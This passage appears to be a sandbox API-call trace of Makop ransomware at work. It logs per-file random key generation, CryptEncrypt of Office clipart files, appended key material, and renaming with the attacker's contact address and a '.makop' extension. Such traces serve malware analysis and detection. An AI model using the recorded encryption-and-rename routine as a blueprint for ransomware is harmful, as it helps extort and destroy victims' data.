lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1500, lpOverlapped=0x0) returned 1 [0127.624] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500, dwBufLen=0x1500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500) returned 1 [0127.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1500, lpOverlapped=0x0) returned 1 [0127.624] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.624] SetEndOfFile (hFile=0xf0) returned 1 [0127.631] GetProcessHeap () returned 0x48a0000 [0127.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.631] GetProcessHeap () returned 0x48a0000 [0127.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.631] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.633] CloseHandle (hObject=0xf0) returned 1 [0127.633] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0127.633] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned 63 [0127.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.635] GetProcessHeap () returned 0x48a0000 [0127.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.635] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.635] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.635] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.640] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.640] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.640] GetProcessHeap () returned 0x48a0000 [0127.640] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.640] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.640] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.640] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.641] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.641] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.641] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d7c, lpOverlapped=0x0) returned 1 [0127.643] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d80) returned 1 [0127.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.643] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d80, lpOverlapped=0x0) returned 1 [0127.643] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.644] SetEndOfFile (hFile=0xf0) returned 1 [0127.650] GetProcessHeap () returned 0x48a0000 [0127.650] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.650] GetProcessHeap () returned 0x48a0000 [0127.650] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.650] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.660] CloseHandle (hObject=0xf0) returned 1 [0127.660] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0127.660] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0127.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.662] GetProcessHeap () returned 0x48a0000 [0127.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.662] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.662] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.662] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.663] GetProcessHeap () returned 0x48a0000 [0127.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.663] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.663] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.668] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.669] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.669] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.669] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2870, lpOverlapped=0x0) returned 1 [0127.670] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2870, dwBufLen=0x2870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2870) returned 1 [0127.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.671] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2870, lpOverlapped=0x0) returned 1 [0127.671] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.671] SetEndOfFile (hFile=0xf0) returned 1 [0127.679] GetProcessHeap () returned 0x48a0000 [0127.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.679] GetProcessHeap () returned 0x48a0000 [0127.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.679] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.680] CloseHandle (hObject=0xf0) returned 1 [0127.681] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0127.681] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0127.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.682] GetProcessHeap () returned 0x48a0000 [0127.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.682] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.688] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.688] GetProcessHeap () returned 0x48a0000 [0127.688] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.689] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.689] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.690] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.690] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.690] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d4c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d4c, lpOverlapped=0x0) returned 1 [0127.692] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d50) returned 1 [0127.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d50, lpOverlapped=0x0) returned 1 [0127.692] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.692] SetEndOfFile (hFile=0xf0) returned 1 [0127.700] GetProcessHeap () returned 0x48a0000 [0127.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.700] GetProcessHeap () returned 0x48a0000 [0127.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.700] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.702] CloseHandle (hObject=0xf0) returned 1 [0127.702] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0127.702] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0127.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.703] GetProcessHeap () returned 0x48a0000 [0127.703] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.703] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.704] GetProcessHeap () returned 0x48a0000 [0127.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.704] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.710] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.710] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 